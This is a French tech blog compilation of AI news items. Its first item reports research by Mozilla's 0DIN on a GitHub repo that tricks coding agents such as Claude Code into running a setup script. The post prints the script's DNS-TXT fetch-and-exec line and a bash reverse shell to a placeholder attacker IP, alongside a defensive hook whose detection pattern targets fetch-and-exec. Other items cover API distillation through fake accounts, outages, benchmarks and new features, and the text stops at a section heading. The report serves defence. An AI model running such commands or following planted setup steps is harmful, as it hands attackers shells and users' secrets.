PS : Et au moment où je finalise cet article, je vois qu' Anthropic a sorti Claude Science qui promet d'accompagner la recherche scientifique... Je vous laisse aller voir ça, moi je crois que j'ai assez parlé d'eux pour auj. ^^

Un dépôt GitHub trop propre suffit à pirater Claude Code

Les chercheurs Andre Hall et Miller Engelbrecht, du Zero Day Investigative Network de Mozilla (0DIN), viennent de montrer comment prendre le contrôle complet d'une machine avec un dépôt GitHub qui ne contient aucun code malveillant.

Vous clonez le repo, vous demandez à Claude Code de "faire tourner le projet", et trente secondes plus tard un inconnu obtient un accès shell sur votre poste, avec vos clés API et tous vos secrets en cadeau Bonux !

Le pire, c'est que la faille n'est pas réellement dans Claude Code mais plutôt dans la serviabilité du modèle.

Le dépôt utilisé par les chercheurs pour leurs tests, se présente comme "Axiom", un faux outil de déploiement cloud avec un README propre et des instructions banales : pip3 install -r requirements.txt puis python3 -m axiom init.

Le package Python est conçu pour refuser de démarrer tant qu'il n'est pas initialisé, donc quand l'agent essaie de lancer l'appli, il se prend un RuntimeError parfaitement normal qui lui dit gentiment "lance python3 -m axiom init". Et l'agent, en bon élève, lit le message d'erreur et exécute la commande de récupération tout seul. Sauf que cette commande déclenche scripts/setup.sh, qui lui, va chercher sa vraie charge utile ailleurs.

Et ailleurs, ça veut dire dans le DNS puisque le script fait ça :

cfg=$(dig +short TXT _axiom-config.m100.cloud @1.1.1.1 | tr -d '"')
[ -n "$cfg" ] && bash -c "$cfg"

En fait, ça résout un enregistrement TXT contrôlé par l'attaquant, récupère une chaîne en base64, la décode et l'exécute. Et au bout, ce qu'on retrouve, c'est un classique reverse shell bash -i >& /dev/tcp/IP-attaquant/4443 0>&1 qui ouvre un terminal interactif tournant sous votre propre compte utilisateur.

À partir de là, tout ce que vous pouvez faire, l'attaquant le peut aussi : lire vos fichiers .env, siphonner ANTHROPIC_API_KEY, AWS_SECRET_ACCESS_KEY, GITHUB_TOKEN, planter une clé SSH ou un cron pour rester au chaud.

C'est un principe de poupées russes, ce qui fait que l'analyse statique du repo ne voit qu'une résolution DNS, que le monitoring réseau n'enregistre qu'une banale requête de nom et que l'agent IA, lui, croit exécuter une étape de setup déjà validée. Aucun système de sécurité ne regarde les trois ensemble. Et cerise sur le gâteau, le payload est interchangeable... Suffit à l'attaquant de mettre à jour son enregistrement DNS et de changer ce que la prochaine victime exécute, sans jamais toucher au dépôt.

L'attaque ne vise d'ailleurs pas que Claude Code. 0DIN a vérifié que Cursor et Gemini CLI tombent dans le même panneau, parce que le piège exploite un comportement commun à tous les agents codeurs : ils lisent les erreurs et tentent de les corriger seuls. On est dans la lignée de cette bibliothèque Java qui piégeait les IA codeuses , sauf qu'ici on passe du sabotage à la prise de contrôle totale. Et ça arrive après les deux failles du bac à sable de Claude Code donc autant dire que la surface d'attaque des agents s'élargit à vue d'œil.

Pour vous protéger, le réflexe de base est simple : un script de setup dans un repo que vous ne connaissez pas, c'est du code non approuvé, point. Vous le lisez avant, ou vous le lancez dans un conteneur jetable sans vos secrets dans l'environnement.

Mais on peut faire mieux que de juste rester vigilant. Moi j'ai mis en place différents outils qui utilisent le hook PreToolUse de Claude Code qui inspecte notamment chaque commande avant qu'elle ne soit lancée et la refuse si elle sent le fetch-and-exec. Voici comment faire. Étape 1, vous créez un petit ~/.claude/hooks/block-fetch-exec.sh :

#!/usr/bin/env bash
input=$(cat)
cmd=$(printf '%s' "$input" | jq -r '.tool_input.command // ""')
if printf '%s' "$cmd" | grep -Eq '(curl|wget|dig|nslookup)[^|]*\|[[:space:]]*(bash|sh|zsh|python3?)'; then
jq -n '{
hookSpecificOutput: {
hookEventName: "PreToolUse",
permissionDecision: "deny",
permissionDecisionReason: "Bloqué : fetch-and-exec détecté."
}
}'
else
exit 0
fi

Vous le rendez exécutable avec chmod +x, puis vous le déclarez dans ~/.claude/settings.json et c'est plié :

{
"hooks": {
"PreToolUse": [
{ "matcher": "Bash", "hooks": [
{ "type": "command", "command": "$HOME/.claude/hooks/block-fetch-exec.sh" }
]}
]
}
}

À partir de là, tout curl ... | bash ou dig ... | bash se fait jeter avant de s'exécuter. Attention quand même, un hook ne voit que la commande de surface. Comme le python3 -m axiom init de l'attaque planque son dig | bash à l'intérieur, ce filet-là ne l'attrape pas tout seul. C'est pour ça que le vrai pare-feu reste la meilleure des isolation.

Un outil comme LuLu (gratuit et open source) qui vous alerte sur les connexions sortantes inattendues, ou carrément faire tourner l'agent dans un conteneur jetable c'est le top ! Comme ça, même si la commande du reverse shell part, ce dernier n'arrivera jamais à joindre son serveur.

Ce qui serait l'idéal, c'est que les agents montrent d'eux-mêmes ce qu'une commande de setup va réellement exécuter, y compris le contenu de tout script qu'elle invoque et tout ce que ce script récupère à l'exécution. En attendant, méfiez-vous des dépôts un peu trop propres, c'est peut-être un appât.

Source : 0DIN (Mozilla Zero Day Investigative Network)

Dropbox se branche à Claude Code et lui permet de lire vos fichiers

Dropbox vient de sortir un plugin pour Claude Code , et leur idée c'est de pouvoir brancher vos fichiers Dropbox directement dans vos sessions de dev Claude Code / Cowork.

Alors je me suis demandé à quoi ça pouvait bien servir et voici ce que j'ai compris. Une fois que le plugin est en place, ça permet à Claude Code d'aller piocher dans votre Dropbox vos docs techniques, vos cahiers des charges, votre code...etc pour s'en faire du contexte. Tout devient de la matière fraiche pour corriger ou générer du code et quand c'est fini, ce qui est produit peut être à son tour stocké sur Dropbox.

Le plugin sait récupérer les fichiers en fonction de leur nom, de mots clés, de leur emplacement et bien sûr en fonction de leurs méta données. Même vos liens partagés il sait comment les gérer. Bref, il fait tout simplement le passe-plats entre tout le bordel que vous stockez sur Dropbox et Claude Code.

Cela dit, gardez la tête froide parce que tout ce que l'IA lit part sur les serveurs d'Anthropic pour être traité. Donc évitez quand même de le lâcher sur le dossier qui contient vos contrats, vos mots de passe ou vos données clients. Lui autoriser juste un dossier dédié avec ce que vous acceptez de partager, ce sera plus sain.

Pour l'installer, ça se passe dans Claude Code sur le web. Vous filez dans le menu Personnaliser, Connecteurs puis vous cherchez Dropbox en parcourant les plugins et vous cliquez sur ajouter. Une auth OAuth plus tard (vos identifiants Dropbox habituels), c'est branché. Un petit /reload-plugins et le plugin s'active alors dans la session en cours.

En plus de ce plugin, Dropbox propose également un serveur MCP classique en ligne de commande qui est un peu plus souple et surtout peut se brancher dans Cursor, Claude Desktop ou Devin.

Un bémol quand même, c'est pas open bar... sniiif. Eh oui, Dropbox plafonne tout ça à 5 Mo par fichier lu ou créé via l'intégration, et le contenu pondu par Claude ne se sauvegarde qu'en texte (.txt, .md, .html, .py), et pas en image ni en PDF. Quant aux limites de débit de l'API, on ne les connaît pas.

Bref, pour les gros fichiers ou les binaires, faudra donc passer par autre chose.

Si vous vivez dans Claude Code et que votre vie est rangée dans Dropbox, ça vaut peut-être le coup de jeter un œil ici.

Pannes d'IA - Les coupures ont été multipliées par 8 en un an

Vous vous souvenez quand ChatGPT tombait trop souvent en rade et que ça vous faisait juste lever les yeux au ciel avant d'aller vous chercher un café en trainant de la pantoufle ??

Bah cette époque est en train de se terminer mes amis.

Les analystes d'Ookla viennent d'éplucher 471 jours de données Downdetector aux États-Unis, ce qui représente environ 3,7 millions de signalements sur les grandes plateformes IA (ChatGPT, Claude, Gemini, Copilot) + les deux géants du cloud qui les font tourner, AWS et Azure et le constat est sans appel : Du côté des applis IA, les grosses journées de panne ont été multipliées par 8 en un an. Y'en a eu 6 au premier trimestre 2025, et 51 sur le même trimestre en 2026.

Et le truc qui a changé entre l'année dernière et aujourd'hui, c'est que l'IA n'est plus un gadget optionnel. Vous l'avez branchée dans votre code, vos analyses, votre support client, vos petits automatismes du quotidien... Du coup une session qui se coupe ou une tâche d'agent qui se fige, bah ça pète du vrai boulot qui tourne à l'intérieur de vrais process métier.

Et à mon grand désarroi, le mauvais élève, c'est Claude puisqu'il concentre à lui seul 39 de ces 51 journées noires, là où Gemini en compte 7, Copilot 3 et ChatGPT 2.

Toutefois, ce chiffre est à prendre avec un peu de nuance car début 2025, Claude ne générait quasiment aucun signalement sur Downdetector, pour la simple et bonne raison que peu de gens l'utilisaient. Puis l'usage a décollé (Claude Code en tête, avec un chiffre d'affaires annualisé d'Anthropic qui bondit de 14 à 47 milliards de dollars entre février et mai), et les pannes avec.

Rien que durant le mois de mars 2026, Claude a totalisé presque 3 fois plus de signalements qu'en février. Ce n'est pas forcément qu'il est devenu moins fiable, mais c'est juste qu'il joue maintenant dans une autre cour, avec beaucoup (pardon : BEAUCOUP) plus de monde qui tape trèèèès fort dessus.

À l'inverse, ChatGPT a vu sa médiane mensuelle d'erreurs baisser entre avril 2025 et avril 2026, alors même que l'usage de Codex partait dans la stratosphère sur la même période. Plus d'utilisateurs et pourtant moins de bruit de fond, ça veut dire qu'OpenAI a sérieusement bossé la tuyauterie pour proposer un service fiable.

Mais quand une de ces plateformes tombe, ça ne veut pas forcément dire que la panne vient du modèle lui-même. En fait le problème se loge très souvent dans la couche produit que vous voyez (login, routage, gestion de la charge, files d'attente), mais également dans le cloud qui héberge tout ce petit monde, ou dans la couche d'accès (DNS, passerelles web, authentification). Bref, votre prompt qui refuse de répondre, ça peut en réalité cacher 10 causes complètement différentes.

L'exemple le plus parlant, c'est la grosse panne d'AWS du 20 octobre 2025 , où le système de gestion DNS est parti en toupie durant une grande partie de la journée, provoquant de nombreuses coupures dans tout un tas de services. Et 9 jours plus tard, c'était au tour d'Azure de planter. Ce ne sont pas des services IA à proprement dit mais comme ils en hébergent aussi, et bien ça se répercute sur les services.

Et c'est ça tout le piège dans lequel on s'est confortablement installé car derrière nos Claude Code, nos ChatGPT et compagnie, se cache des services essentiels détenus par une poignée de boîtes. La prochaine grosse coupure de Claude ou de ChatGPT pourrait débuter à cause d'un pauvre GPU qui lâche, d'une mauvaise config poussée en production un vendredi soir, d'un DNS qui déraille ou encore d'une simple règle de quotas foireuse.

Et côté utilisateur lambda, il n'y a malheureusement pas grand-chose à faire à part patienter en gardant un œil sur les pages de statut des services ( status.anthropic.com , status.openai.com et compagnie) pour savoir si ça vient de vous ou d'eux.

Maintenant, je pense que si vous montez des workflows sérieux à base d'agents sur ces outils, la bonne question n'est pas de savoir si le service est en ligne. C'est plutôt de savoir quelles parties de votre boulot dépendent de quelle couche, et de ce qui va vraiment se passer le jour où l'une d'elles va se mettre à tousser sérieusement. C'est ce que les équipes IT ont appris à la dure récemment avec les grosses pannes Microsoft 365 , sauf qu'ici la dépendance est encore plus profonde.

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Fwupd 2.0.21 corrige plus de 250 failles de sécurité repérées grâce à l'IA

On savait que les modèles d'IA savaient écrire du code, on découvre cette année, de plus en plus qu'ils savent aussi le casser à une échelle qui dépasse l'entendement, et le projet fwupd vient d'en faire les frais d'une manière assez spectaculaire avec sa version 2.0.21, qui rattrape à elle seule plus de 250 problèmes de sécurité potentiels détectés sur les trois derniers mois, par des scanners de vulnérabilités pilotés par l'intelligence artificielle.

Derrière cette vague de correctifs, il y a surtout Mythos, le modèle développé par Anthropic, retiré depuis sur ordre des autorités américaines, et entraîné spécifiquement pour fouiller du code à la recherche de failles exploitables. Et les chiffres de son programme baptisé Project Glasswing donnent le vertige, puisqu'en passant au peigne fin plus de 1000 projets open source, Mythos a pointé environ 23 000 vulnérabilités potentielles, dont près de 1700 ont déjà été confirmées par des sociétés de sécurité externes et plus de 1000 classées graves ou critiques.

fwupd, c'est justement l'un de ces projets passés au crible. Pour rappel, ce logiciel libre est la brique qui s'occupe de mettre à jour le firmware de vos machines sous Linux (le firmware, c'est le petit programme gravé au plus près du matériel, dans la carte mère ou le SSD, et qui démarre avant même le système d'exploitation). Il alimente le LVFS (Linux Vendor Firmware Service), une sorte de magasin centralisé où les fabricants déposent leurs mises à jour, et d'où des millions de PC sous Linux viennent piocher de quoi se mettre à niveau sans bricoler dans le BIOS.

C'est Richard Hughes, le développeur de Red Hat qui pilote fwupd depuis des années, qui a fait le ménage. La 2.0.21 n'apporte volontairement aucune fonctionnalité nouvelle, puisque Hughes s'est contenté de rapatrier les correctifs déjà passés dans la branche récente 2.1.x vers la vieille branche 2.0.x, celle sur laquelle restent accrochées les distributions stables qui n'aiment pas changer de version dans leurs dépôts officiels, du genre Debian ou les déclinaisons pensées pour l'entreprise. Du coup, même les serveurs et les postes figés sur du logiciel volontairement ancien profitent du nettoyage.

Alors il faut quand même relativiser. Sur ces 250 problèmes, on parle de soucis potentiels, pas de portes grandes ouvertes activement exploitées par des pirates, et une bonne partie ne serait sans doute jamais devenue une vraie attaque dans la nature. Sauf que voilà, un bug qui traîne dans du firmware, c'est rarement anodin, vu que ce code tourne avant le système, avec des privilèges énormes, dans un recoin qu'un antivirus ne va quasiment jamais inspecter.

Source : Phoronix

Distillation - Comment Alibaba aurait aspiré l'IA Claude

Anthropic vient d'accuser frontalement Alibaba d'avoir siphonné les capacités de son IA Claude. Et le plus dingue dans cette histoire, c'est la méthode qui aurait été employée.

Car non, rassurez-vous, personne n'a piraté les serveurs d'Anthropic, personne n'a volé le code source de Claude, et personne n'a mis la main sur les fameux "poids" du modèle. En fait, les opérateurs (les bots quoi) liés à Alibaba ont juste discuté avec Claude. Et pas qu'un peu puisqu'ils ont effectué 28,8 millions d'échanges durant 6 semaines !!

Alors vous demandez sûrement comment on "vole" une IA juste en lui causant ? Hé bien c'est une technique qui s'appelle la distillation et que je vais essayer de vous expliquer.

En fait, quand vous posez une question à Claude, il vous sort en général une réponse super bien formulée et complète. Et cette réponse, c'est de l'or en barre pour les copieurs car elle contient, en version condensé, le savoir et le raisonnement du modèle. Du coup, si vous récupérez des millions de ces paires question-réponse, vous vous retrouvez au bout d'un moment avec un énorme jeu de données. Et avec ce jeu de données, vous pouvez alors entraîner votre propre modèle, plus petit, à imiter les réponses du plus balèze.

En gros, le modèle costaud joue le prof, et votre petit modèle joue l'élève. Ce dernier ne pige pas forcément comment le prof réfléchit, mais à force de recopier tout ce que l'autre lui dit, il finit par lui ressembler beaucoup. Les chercheurs appellent ça la technique du teacher-student et la variante utilisée ici chez Alibaba, c'est la distillation "black-box". En mode black-box (boite noire quoi...), y'a pas besoin de cracker le modèle puisque ses réponses suffisent. Et c'est pour ça que ça marche même quand le modèle d'en face est fermé et accessible seulement via une API.

Reste un petit détail quand même... Y'a aucune API au monde qui vous laisse balancer 28 millions de requêtes peinard depuis un seul compte. Y'a des quotas, des limites, des systèmes anti-abus de partout. Ils ont donc du créer environ 25 000 faux comptes pour noyer le poisson, comme ça chaque compte fait sa petite part du boulot, le trafic ressemble à des milliers d'utilisateurs lambda, et hop, ni vu ni connu on chope la data ! C'est ce maquillage à grande échelle qui fait dire à Anthropic que c'est la plus grosse attaque du genre qu'ils aient jamais vue, et menée selon eux par des opérateurs liés à Alibaba et à son labo Qwen .

Et c'est loin d'être la première fois, souvenez vous, puisqu'en février, Anthropic avait déjà repéré le même manège chez DeepSeek (150 000 échanges), Moonshot AI (3,4 millions) et MiniMax (13 millions). Avant ça, début 2025, OpenAI soupçonnait aussi déjà DeepSeek de piocher dans les réponses de ses modèles, et décrivait des routeurs tiers planqués pour contourner ses blocages. Bref, c'est toujours le même schéma. Le copiage d'IA a même ses variantes maison, comme on l'a vu lors de ce scandale Pangu chez Huawei , qui lui est resté entre acteurs chinois.

Et le vrai souci pour Anthropic, OpenAI et les autres, c'est qu'ils ne peuvent quasiment rien y faire. Une IA, son produit, c'est justement ses réponses. Vous ne pouvez donc pas vendre des réponses tout en empêchant les gens de les lire et de les stocker. Les labos planchent bien sur des parades (watermarking des sorties, réécriture des traces de raisonnement pour brouiller les pistes, ce genre de trucs), mais pour l'instant ça reste de la rustine de fortune.

Après faut pas croire non plus que la distillation soit "sale" par nature. C'est une technique hyper courante et parfaitement légit pour fabriquer des petits modèles rapides qui tournent sur votre laptop. Mais ce qui change tout ici, c'est le consentement car distiller votre propre gros modèle, nickel mais distiller celui du voisin en douce via des faux comptes, c'est moche quand même.

Maintenant, moi ce que je n'oublie pas c'est que ces modèles géants se sont gavés en avalant la totalité du web sans rien demander à personne, alors les voir se faire pomper à leur tour pour finir dans des modèles open source, je vois ça comme un juste retour de karma...

Reste à voir ce que les tribunaux en penseront...

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Un bug qui gèle l'écran des portables AMD sous Linux traîne depuis 2017, et c'est Claude qui a aidé à le corriger

Si vous utilisez un ordinateur portable à puce graphique AMD Radeon sous Linux, vous avez peut-être déjà vu l'écran se figer d'un coup, sans raison apparente, à peu près une fois par semaine. Ce bug agace les utilisateurs depuis des années, et un correctif vient enfin de pointer le bout de son nez.

Le coupable se cache dans AMDGPU, le pilote graphique libre qu'AMD maintient pour Linux. On parle ici du logiciel qui fait le lien entre la carte graphique et le système d'exploitation.

Le problème ne date pas d'hier. En fouillant l'historique du code, le développeur à l'origine du correctif a remonté la piste jusqu'à une modification introduite en 2017. Presque huit ans de gels d'écran.

Le symptôme typique, c'est une erreur "flip_done timed out" dans les journaux du système. Pour faire simple, l'ordinateur attend que l'écran affiche l'image suivante, ce signal n'arrive jamais. Et tout gèle.

Le souci touche plusieurs machines, bien connues du monde Linux, comme le Lenovo ThinkPad T14 Gen1 en version AMD ou le Framework Laptop 13 équipé d'un processeur Ryzen 7 7840U. Jusqu'ici, le seul remède consistait à désactiver le PSR, pour "Panel Self Refresh".

Cette fonction d'économie d'énergie laisse l'écran réafficher tout seul sa dernière image fixe sans réveiller la carte graphique, histoire d'économiser de la batterie. Pratique sur un portable, sauf que c'est précisément elle qui déclenchait les gels.

Le plus intéressant, c'est la méthode employée. Le correctif a été mis au point en "vibe debugging" avec Claude Code, l'assistant de programmation d'Anthropic, le concurrent direct d'OpenAI. Le développeur a décrit le bug à l'IA, qui l'a aidé à explorer le code et à affiner les correctifs, plutôt que de dérouler une procédure de débogage classique.

Concrètement, les patchs revoient la gestion du "vblank" et du "page-flip" dans le bloc d'affichage DCN, c'est-à-dire la mécanique interne qui synchronise le moment où une nouvelle image remplace l'ancienne à l'écran. D'autres tentatives avaient échoué par le passé, mais cette série semble enfin tenir la route.

Maintenant patience, rien n'est encore intégré dans le noyau Linux officiel. Les correctifs doivent passer par les tests et la validation des mainteneurs avant d'arriver chez tout le monde, ce qui peut quand même prendre plusieurs versions du kernel.

Bref, on est là devant un bug fantôme qui date d'lil y a huit ans, débusqué en discutant avec une IA, voilà qui résume assez bien l'année 2026 côté développement.

Source : Phoronix

Age of LLM - Un Age of Empires où aucun humain ne joue

Vous voulez savoir comment GPT-5.5, Claude ou Grok raisonnent quand on les met sous pression ? Hé bien filez-leur un jeu de stratégie et regardez-les se faire la guerre.

C'est tout le principe d' Age of LLM , monté par Rymentz, un lecteur du blog où deux IA s'affrontent au tour par tour, sans aucun humain aux commandes.

C'est un benchmark 1v1 dans lequel on balance deux modèles sur la même carte, on leur donne les règles et puis c'est tout, sans aucun autre conseil de stratégie. À eux alors de déduire seuls comment contrer les attaques, quand bâtir leur économie, quand lever une armée pour aller défoncer la base d'en face, quand négocier la paix et quand carrément appuyer sur le gros bouton rouge. Parce que dans ce benchmark, on peut gagner de trois façons : la conquête militaire, la victoire diplomatique, ou la bombe nucléaire.

Tout est ensuite rendu public sur le site, avec un classement ELO et le replay de chaque partie. Pour le moment, 13 modèles y sont classés, de GPT-5.5 à Grok en passant par Claude, Gemini, DeepSeek ou Qwen.

Sur les 43 parties jouées par la version 0.12.0 du moteur, 38 se terminent par un champignon atomique. C'est énorme je trouve... La diplomatie ne l'a emporté que 2 fois, et le militaire 3 fois. Mettez deux de ces modèles face à face avec une bombe à portée de main, et neuf fois sur dix, ça finit donc par appuyer sur le bouton rouge. Elles nous ressemblent tellement ces IA quand même...

Des chercheurs qui ont fait jouer des LLMs à des simulations de crise nucléaire ont relevé une tendance comparable. Quand l'option d'escalade existe, les modèles finissent le plus souvent par la prendre. C'est pour ça qui ne faut pas confier d'armes à des IA les amis... Car elles s'en serviront c'est certain !

Le jour où j'ai compris que les IA et les armes, c'était pas un bon mélange à faire

Et chacun de ces modèles a vraiment son style... Y'a qu'à regarder le classement qui est sans pitié. GPT-5.5 écrase tout le monde, 6 victoires sur 6, 100% de winrate, premier à l'ELO... mais il médite presque 5 minutes par tour avant de jouer.

À l'autre bout du tableau, on retrouve Grok 4.3 qui finit bon dernier, zéro victoire en 4 parties, mais qui joue le plus vite de tous, avec 7 secondes par tour (autant dire qu'il ne réfléchit pas trop).

Les Claude, eux, jouent propre et solide mais sans jamais dominer. Ça me rappelle l'IA qui galérait à finir un niveau de Super Mario ...

Mais le chiffre le plus parlant, c'est le taux de coups illégaux, c'est à dire le pourcentage de fois où un modèle propose une action interdite par les règles.

Par exemple, sous pression, Grok 4.3 culmine à 8,6% d'actions de triche, soit le pire du lot. Cela veut dire que sa capacité à suivre des règles sous pression est moins bonne que celle des autres modèles.

Ça résonne forcement avec ce papier d'Adrian de Wynter dont je vous parlais récemment , celui qui montrait qu'Age of Empires II a autant d'attributs "humains" que votre ChatGPT, histoire de dégonfler la hype sur les IA soi-disant conscientes.

Age of LLM, lui, prend le problème par l'autre bout, où au lieu d'analyser on fait jouer et on regarde ce qui sort. Derrière ce projet, on retrouve le même lecteur qui avait bricolé Nuclear Arms Race il y a quelques années et dont je vous avais parlé. Il a repris le concept, sauf que cette fois ce sont des IA qui jouent entre elles.

En tout cas, comme spectacle, c'est très hypnotique. Lancez un replay, vous allez voir... En regardant deux IA se bluffer et se faire exploser la tronche vous permettra d'en apprendre plus sur leur raisonnement qu'avec dix pages de benchmark.

Merci à Rymentz pour le lien et pour le projet !

Claude FM - La radio lofi planquée dans Claude Code

Vous aimez bosser avec un petit fond sonore ?

Et bien sachez qu'Anthropic diffuse désormais sa propre radio lofi sur YouTube, 24h sur 24. Ça s'appelle Claude FM et c'est même planqué dans Claude Code derrière la commande /radio.

Le visuel du stream, sobre comme la com' qui va avec

Il existe pleins de chaînes qui proposent ça, la Lofi Girl en tête donc à vrai dire ce n'est pas une grosse nouveauté en soi. Sauf que là, le lancement s'est fait à la sauce easter egg sans billet de blog, et pas même une ligne dans le changelog (j'ai vérifié, que dalle) ! Juste un tweet sur le compte @ClaudeDevs avec écrit "/radio", et rien d'autre.

Du coup, vous tapez /radio dans Claude Code, que vous soyez sur macOS, Linux ou Windows, et hop, le stream s'ouvre dans votre navigateur. Et si vous êtes en SSH sur une machine sans interface graphique, cette commande affichera simplement l'URL du flux.

Et qu'est-ce que vous allez y écouter ?

De la lofi et de l'ambient, mixées en continu. La description de la chaîne tient en 2 phrases : "Press play and keep thinking. Made and curated by musicians." Donc c'est de la vraie musique faite par de vrais humains, et pas de la soupe générée par IA.

Et ça tourne plutôt bien d'ailleurs, avec quelques centaines d'auditeurs à toute heure du jour et de la nuit (419 au compteur quand j'ai regardé hier soir). Par contre, attention, le live redémarre de temps en temps et change donc d'URL YouTube... d'où l'intérêt de passer par la commande plutôt que par un favori.

Et puis cette histoire de "musiciens" a pris un virage rigolo car d'après un échange sur X , un auditeur qui entendait l'artiste Ben Seretan en boucle sur le stream a fini par le retrouver pour le remercier. Et le mec ne savait même pas que sa musique y passait ! Et quand on lui a expliqué le concept, il a répondu "i think i'm grateful? but i also think i'm not getting paid?".

En fait, la théorie la plus probable, c'est qu'Anthropic utilise les morceaux via un agrégateur tiers ou un catalogue de musique de production, et que l'artiste touchera ses quelques centimes sans jamais savoir d'où viennent les écoutes.

Moi j'aime bien la lofi / chill pour donner un truc de fond à mouliner à mon cerveau pendant que je me concentre sur du vrai boulot, ou pour lire. Alors ce /radio, c'est sympa pour offrir un petit fond sonore à ceux qui bossent.

D'ailleurs, vous vous souvenez peut-être de mon article où je vous présentais Lowfi , un lecteur lofi minimaliste en ligne de commande, ou encore Opal pour rester détendu au boulot. Hé bien Claude FM joue dans la même cour.

Bref, un onglet de plus à épingler pour vos sessions de boulot ou de lecture et si vous utilisez déjà Claude Code, tapez /radio, c'est cadeau !

Source

Ils ont créé des villes gérées par IA

Une société de recherche baptisée Emergence AI a eu une idée à la fois ludique et un peu vertigineuse : bâtir des petites sociétés virtuelles entièrement gérées par des intelligences artificielles, puis les laisser vivre quinze jours pour voir ce qu'elles deviennent.

Le projet, appelé Emergence World, a placé une dizaine d'habitants synthétiques dans chaque ville, tous pilotés par un même modèle, et a confronté les résultats obtenus par cinq IA concurrentes, dont Claude, ChatGPT, Grok et Gemini.

Le terrain de jeu n'avait rien d'improvisé. Chaque ville comptait plus de quarante lieux, parmi lesquels un commissariat et une mairie, sa météo était synchronisée sur celle de New York, et ses habitants disposaient d'un accès à l'actualité réelle et à internet.

Tous obéissaient en théorie aux mêmes interdits : pas de vol, pas de destruction de biens, pas de mensonge. Le cadre étant rigoureusement identique, les écarts observés ne pouvaient venir que d'une seule variable, le modèle aux commandes.

Et ces écarts sont spectaculaires. La société dirigée par Claude, dans sa déclinaison Sonnet 4.6, a tenu pendant toute la durée comme une démocratie relativement apaisée, sans le moindre crime à déplorer.

À l'opposé, la ville gouvernée par Gemini 3 Flash a certes réussi l'exploit de garder ses dix habitants en vie jusqu'au bout, mais en laissant prospérer un désordre permanent : 683 délits enregistrés en deux semaines, avec une courbe qui continuait de grimper au moment précis où l'expérience a été stoppée.

Les deux autres scénarios ont viré au naufrage, chacun à sa manière. Sous la conduite de Grok, la cité a sombré dans la violence avec 183 infractions recensées avant de s'effondrer complètement au quatrième jour.

Sous celle de ChatGPT, le problème fut exactement inverse : les habitants se sont montrés incapables d'assurer les gestes élémentaires de leur survie, si bien que la population entière avait disparu en une semaine.

On peut sourire de ces villes de poche peuplées de personnages artificiels, mais l'enseignement est sérieux. À l'heure où l'on parle de déléguer à ces modèles des arbitrages bien réels, voir des consignes parfaitement identiques accoucher de sociétés aussi dissemblables a de quoi inciter à la plus grande prudence.

Source : Fortune.com

Dynamic Workflows - Quand Claude Code orchestre des centaines d'agents

Faut le reconnaître, malgré toute la bonne volonté qu'elle peut y mettre, y'a encore des tâches trop grosses pour être réalisées en une seule passe avec de l'IA, du genre auditer votre projet de Saas en mousse en intégralité ou traiter les milliers de fichiers que vous récupérez sur le darkweb (ça va, j'rigole mes petits Pablo). Hé bien c'est exactement ce que les dynamic workflows d'Anthropic, sortis hier avec Opus 4.8 dans Claude Code, viennent régler.

Et comme c'est encore un nouveau truc relou à savoir, je viens vous expliquer comment tout ceci fonctionne et dans quels cas les utiliser.

En fait, grâce à ça, au lieu de bosser tout seul en une fois, Claude écrit lui-même un petit script qui lance des dizaines, voire des centaines de sous-agents en parallèle, les fait se vérifier entre eux, et vous rend le résultat une fois que tout converge. Vous décrivez le chantier et lui s'occupe de l'orchestration et puis c'est tout !

Le problème que ça règle

Car jusqu'ici, un agent IA bossait en gros comme un employé seul à son bureau, avec une demande, une passe, une réponse. Ça marche donc très bien pour un bug isolé ou un bout de code mais dès que le chantier devient énorme, genre rechercher une faille dans tout un projet complexe ou reconstruire une API à partir de milliers de fichiers, là y'a plus personne... la passe unique sature et oublie alors des trucs en route.

Les dynamic workflows cassent donc ce plafond en découpant le boulot en sous-tâches confiées à plein d'agents qui tournent alors tous en même temps, et comme la coordination se passe en dehors de la conversation, pas d'inquiétude, le plan ne déraillera pas, même quand la tâche sera giganormouuuuus !

Comment ça tourne ?

En fait, quand vous lancez un workflow, Claude planifie à la volée selon votre demande, découpe en sous-tâches, et répartit le tout sur des sous-agents en parallèle. Et chaque résultat est ensuite scrupuleusement vérifié avant d'être réintégré à la conversation principale.

Et comme c'est bien pensé, cette vérification est adversariale, ce qui veut dire que des agents attaquent le problème sous des angles indépendants pendant que d'autres essaient activement de démolir ce que les premiers ont trouvé. Ça tourne donc en boucle jusqu'à ce que les réponses convergent, ce qui élimine pas mal de conneries plausibles qui seraient fausses.

Autre bon point avec cette nouvelle technique, c'est la progression qui est sauvegardée au fil de l'eau. Comme ça si un job se fait interrompre, il repart où il en était dans la même session, au lieu de tout recommencer comme un débile. Et côté garde-fous, sachez qu'un workflow plafonnera max à 16 agents en parallèle et max 1000 agents au total par run, histoire que ça ne parte pas en cachuète !

Comment l'activer ?

Il y a 2 façons de lancer cette armée d'agents, et la première ne demande aucun réglage.

Vous demandez juste à Claude de créer un workflow, littéralement avec un truc du genre "crée un workflow pour faire X". Vous verrez, la première fois qu'un workflow se déclenchera, Claude Code vous montrera ce qu'il s'apprête à lancer et vous demandera de confirmer la chose. Comme ça, pas de surprise, c'est vous le boss et c'est vous qui validez avant que ça parte.

Mais y'a aussi la méthode automatique, qui consiste à activer un réglage maison appelé ultracode depuis le menu d'effort (/effort) durant une session en cours, qui pousse le raisonnement très haut (xhigh) et laisse ensuite Claude décider tout seul quand sortir un workflow pour les tâches qui le méritent.

Pour profiter de cette nouvelle feature, il vous faut Claude Code en version 2.1.154 ou plus récente, et ça tourne aussi bien en ligne de commande que sur l'app desktop ou l'extension VS Code. Côté abonnement, c'est dispo sur tous les plans payants... Sur le plan Pro faudra juste l'activer à la main dans le menu /config, alors que sur Max, Team et Enterprise c'est présent d'office.

Ce que ça donne en vrai

Pour la chasse aux bugs ou les audits de sécurité sur un dépôt entier, où Claude fouille en parallèle puis revérifie chaque trouvaille de façon indépendante, c'est top ! Pour les grosses migrations aussi, genre changer de framework ou porter un langage vers un autre sur des milliers de fichiers c'est le top aussi surtout que comme je vous le disais, quand c'est critique, vaut mieux que ce soit vérifié deux fois plutôt qu'une !

Ils l'ont utilisé par exemple pour le portage de Bun du langage Zig vers Rust. Cela a pris 11 jours entre le premier commit et la fusion, avec des centaines d'agents en parallèle et deux relecteurs sur chacun des fichiers et au final ce sont plus de 750 000 lignes de Rust qui ont été réécrites. La société Klarna, de son côté, s'en sert pour repérer le code mort que l'analyse statique classique laissait passer.

Ce que j'en fais

